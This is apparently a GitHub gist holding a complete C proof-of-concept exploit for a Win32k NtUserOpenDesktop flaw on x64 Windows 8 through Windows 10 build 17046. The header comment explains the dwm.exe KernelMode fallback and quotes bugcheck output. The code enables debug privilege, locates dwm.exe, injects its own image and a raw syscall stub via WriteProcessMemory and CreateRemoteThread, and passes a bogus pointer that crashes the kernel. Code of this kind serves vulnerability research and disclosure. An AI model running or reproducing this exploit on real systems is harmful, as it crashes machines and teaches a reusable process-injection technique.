Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Win32k NtUserOpenDesktop Denial Of Service (9200-17046)
/*
Win32k NtUserOpenDesktop->OpenDesktop Denial Of Service feature.
Working range: x64 Windows 8 (9200) up to Windows 10 RS4 (17046).
x86 versions not tested.
Feature:
If this service called from trusted Window Manager (dwm.exe) process then service will attempt to call
ObOpenObjectByName with AccessMode set to KernelMode despite input parameters are from user mode.
Windows remembers Window Manager EPROCESS value in win32k global variable called g_pepDwm
during initialization in NtUserRegisterSessionPort(DwmApiPort) sub sequence.
Windows 7 win32k!NtUserOpenDesktop->OpenDesktop (right at beginning of the func, everything here is simplified)
NTSTATUS __fastcall OpenDesktop(ObjectAttributes, a2, AccessMode, a4, *a5)
{
ntStatus = ObOpenObjectByName(objattr, *ExDesktopObjectType, UserMode, ...
if (!NT_SUCCESS(ntStatus))
{
UserSetLastError(RtlNtStatusToDosError(ntStatus));
return ntStatus;
}
....
}
ObOpenObjectByName called with AccessMode set to UserMode.
In case of error service will return appreciate error code.
Windows 8 win32!NtUserOpenDesktop->OpenDesktop additional code added.
ntStatus = ObOpenObjectByName(ObjectAttributes, *ExDesktopObjectType, UserMode, ....);
if (!NT_SUCCESS(ntStatus))
{
//ObOpenObjectByName failed, lets try usual MS hack-o-rama way.
CurrentProcess = PsGetCurrentProcess();
if (IsProcessDwm(CurrentProcess)); //Compare current EPROCESS value with g_pepDwm
{
// attempt to call ObOpenObjectByName with AccessMode set KernelMode
ntStatus = ObOpenObjectByName(ObjectAttributes, *ExDesktopObjectType, KernelMode, ....);
}
if (!NT_SUCCESS(ntStatus))
{
UserSetLastError(RtlNtStatusToDosError(ntStatus));
return ntStatus;
}
}
The same code as in Win8 exist in 9600 (8.1), 10240 (10 TH1), 10586, 14393, 15063, 16299, 17046 builds.
Force ObOpenObjectByName fail when called with UserMode and pass check of IsProcessDwm.
1) Locate dwm process (Window Manager\DWM-x)
2) Open it with write process memory permissions (every default Windows user will be able to do this)
3) Map your code inside dwm and execute it
4) In your code call NtUserOpenDesktop with invalid parameters (for example bogus OBJECT_ATTRIBUTES pointer)
Call sequence (may be different on different NT versions, meaning is the same.
NtUserOpenDesktop->_OpenDesktop->ObOpenObjectByName->ObOpenObjectByNameEx->ObpCaptureObjectCreateInformation
ObpCaptureObjectCreateInformation will attempt to access OBJECT_ATTRIBUTES fields thinking structure is valid.
****if (ObjectAttributes->Length != sizeof(OBJECT_ATTRIBUTES) ... BSOD
nt!ObpCaptureObjectCreateInformation+a7
fffff803`a86fd677 ‎41833830 cmp dword ptr [r8],30h
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff800000000001, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff803a86fd677, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
Briliant code and components design as always.
Several other win32k services also behaves differently if they are called from dwm (g_pepDwm check passed).
List is long and most of them instantly crash (just thread) thus stopping test probe.
So if someone want to check them in the deep feel free to do so.
*/
#if !defined UNICODE
#error ANSI build is not supported
#endif
#pragma warning(disable: 4005)
#pragma warning(disable: 4312)
#include <windows.h>
#include <ntstatus.h>
#include "ntos.h"
#include "minirtl\minirtl.h"
#if (_MSC_VER >= 1900)
#ifdef _DEBUG
#pragma comment(lib, "vcruntimed.lib")
#pragma comment(lib, "ucrtd.lib")
#else
#pragma comment(lib, "libvcruntime.lib")
#endif
#endif
typedef HDESK(NTAPI *pfnNtUserOpenDesktop)(
POBJECT_ATTRIBUTES ObjectAttributes,
DWORD dwFlags,
ACCESS_MASK dwDesiredAccess);
typedef struct _LOAD_PARAMETERS {
pfnNtUserOpenDesktop NtUserOpenDesktop;
} LOAD_PARAMETERS, *PLOAD_PARAMETERS;
LOAD_PARAMETERS LoadParams;
PVOID supGetSystemInfo(
_In_ SYSTEM_INFORMATION_CLASS InfoClass
)
{
INT c = 0;
PVOID Buffer = NULL;
ULONG Size = 0x1000;
NTSTATUS status;
ULONG memIO;
do {
Buffer = RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, (SIZE_T)Size);
if (Buffer != NULL) {
status = NtQuerySystemInformation(InfoClass, Buffer, Size, &memIO);
}
else {
return NULL;
}
if (status == STATUS_INFO_LENGTH_MISMATCH) {
RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, Buffer);
Buffer = NULL;
Size *= 2;
c++;
if (c > 20) {
status = STATUS_SECRET_TOO_LONG;
break;
}
}
} while (status == STATUS_INFO_LENGTH_MISMATCH);
if (NT_SUCCESS(status)) {
return Buffer;
}
if (Buffer) {
RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, Buffer);
}
return NULL;
}
DWORD WINAPI LoadProcedure(
PLOAD_PARAMETERS Params)
{
Params->NtUserOpenDesktop(
(POBJECT_ATTRIBUTES)0xffff800000000001,
(DWORD)0,
(ACCESS_MASK)0);
return 0;
}
DWORD g_Callgate[3] = {
0xB8D18B4C, //mov r10, rcx; mov
0x00000000,
0x90C3050F //syscall; ret;
};
VOID ExecuteRemoteCode(
HANDLE hProcess,
DWORD dwSyscallId
)
{
HINSTANCE selfmodule = GetModuleHandle(NULL);
PIMAGE_DOS_HEADER pdosh = (PIMAGE_DOS_HEADER)selfmodule;
PIMAGE_FILE_HEADER fh = (PIMAGE_FILE_HEADER)((char *)pdosh + pdosh->e_lfanew + sizeof(DWORD));
PIMAGE_OPTIONAL_HEADER opth = (PIMAGE_OPTIONAL_HEADER)((char *)fh + sizeof(IMAGE_FILE_HEADER));
LPVOID remotebuffer = NULL, cg = NULL, newEp, newDp;
SIZE_T sz = opth->SizeOfImage, memIO = 0;
DWORD c;
HANDLE hThread;
cg = VirtualAllocEx(hProcess, NULL, sizeof(g_Callgate),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (cg) {
g_Callgate[1] = dwSyscallId;
WriteProcessMemory(hProcess, cg, &g_Callgate, sizeof(g_Callgate), &memIO);
LoadParams.NtUserOpenDesktop = cg;
remotebuffer = VirtualAllocEx(hProcess, NULL, sz,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remotebuffer) {
if (WriteProcessMemory(hProcess, remotebuffer, selfmodule, opth->SizeOfImage, &sz)) {
newEp = (char *)remotebuffer + ((char *)LoadProcedure - (char *)selfmodule);
newDp = (char *)remotebuffer + ((char *)&LoadParams - (char *)selfmodule);
hThread = CreateRemoteThread(hProcess, NULL, 0,
newEp, newDp, 0, &c);
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
else {
OutputDebugString(TEXT("ExecuteRemoteCode::CreateRemoteThread failed."));
}
}
else {
OutputDebugString(TEXT("ExecuteRemoteCode::WriteProcessMemory failed."));
}
VirtualFreeEx(hProcess, remotebuffer, 0, MEM_RELEASE);
}
else {
OutputDebugString(TEXT("ExecuteRemoteCode::VirtualAllocEx failed."));
}
}
}
void main()
{
BOOLEAN bPrevious, bFound;
DWORD dwSyscallId = 0;
RTL_OSVERSIONINFOW osver;
HANDLE hProcess, UniqueProcessId = NULL;
NTSTATUS status;
UNICODE_STRING usname, *dynstr;
OBJECT_ATTRIBUTES obja;
CLIENT_ID cid;
ULONG uLen = 0;
SYSTEM_PROCESSES_INFORMATION *ProcessList, *pList;
WCHAR szBuffer[MAX_PATH * 2], *pBuffer;
RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &bPrevious);
osver.dwOSVersionInfoSize = sizeof(osver);
RtlGetVersion(&osver);
usname.Buffer = NULL;
//
// Depending on Windows version (only production builds) select proper syscall id.
// Unfortunately NtUserOpenDesktop syscall id cannot be simple extracted from user32!OpenDesktopW
// because it is a call sequence user32.dll->OpenDesktopW->CommonOpenDesktop(private func)->NtUserOpenDesktop(private func).
//
switch (osver.dwBuildNumber) {
case 9200:
dwSyscallId = 4263;
break;
case 9600:
dwSyscallId = 4264;
break;
case 10240:
case 10586:
case 14393:
dwSyscallId = 4265;
break;
case 15063:
case 16299:
case 17046:
dwSyscallId = 4259;
break;
default:
break;
}
if (dwSyscallId == 0) {
OutputDebugString(TEXT("main::syscall not identified/version not supported."));
return;
}
//
// Locate dwm.exe process
// Test each candidate to have full win32 path in windows\system32
//
ProcessList = (PSYSTEM_PROCESSES_INFORMATION)supGetSystemInfo(SystemProcessInformation);
if (ProcessList) {
pList = ProcessList;
RtlInitUnicodeString(&usname, L"dwm.exe");
bFound = FALSE;
for (;;) {
if (RtlEqualUnicodeString(&usname, &pList->ImageName, TRUE)) {
_strcpy(szBuffer, USER_SHARED_DATA->NtSystemRoot);
_strcat(szBuffer, L"\\system32\\dwm.exe");
cid.UniqueProcess = (HANDLE)pList->UniqueProcessId;
cid.UniqueThread = NULL;
InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);
status = NtOpenProcess(&hProcess, PROCESS_QUERY_INFORMATION, &obja, &cid);
if (NT_SUCCESS(status)) {
uLen = 0;
NtQueryInformationProcess(hProcess, ProcessImageFileNameWin32, NULL, 0, &uLen);
if (uLen) {
pBuffer = RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, uLen);
if (pBuffer) {
status = NtQueryInformationProcess(hProcess, ProcessImageFileNameWin32, pBuffer,
uLen, &uLen);
if (NT_SUCCESS(status)) {
dynstr = (PUNICODE_STRING)pBuffer;
if (dynstr->Buffer && dynstr->Length) {
OutputDebugString(dynstr->Buffer);
if (_strcmpi(szBuffer, dynstr->Buffer) == 0) {
UniqueProcessId = pList->UniqueProcessId;
bFound = TRUE;
}
}
}
else {
OutputDebugString(TEXT("main::NtQueryInformationProcess failed."));
}
RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, pBuffer);
}
}
NtClose(hProcess);
} //NtOpenProcess
else {
OutputDebugString(TEXT("main::Cannot open process for probe."));
}
} //RtlEqualUnicodeString
if (bFound)
break;
if (pList->NextEntryDelta == 0)
break;
pList = (PSYSTEM_PROCESSES_INFORMATION)(((LPBYTE)pList) + pList->NextEntryDelta);
}
RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, ProcessList);
}
if (UniqueProcessId == NULL) {
OutputDebugString(TEXT("main::Dwm.exe process not found."));
return;
}
//
// Open dwm process, map and execute code.
//
cid.UniqueProcess = UniqueProcessId;
cid.UniqueThread = NULL;
InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);
hProcess = NULL;
status = NtOpenProcess(&hProcess,
PROCESS_ALL_ACCESS, &obja, &cid);
if (NT_SUCCESS(status)) {
ExecuteRemoteCode(hProcess, dwSyscallId);
NtClose(hProcess);
}
else {
OutputDebugString(TEXT("main::NtOpenProcess failed."));
}
ExitProcess(0);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment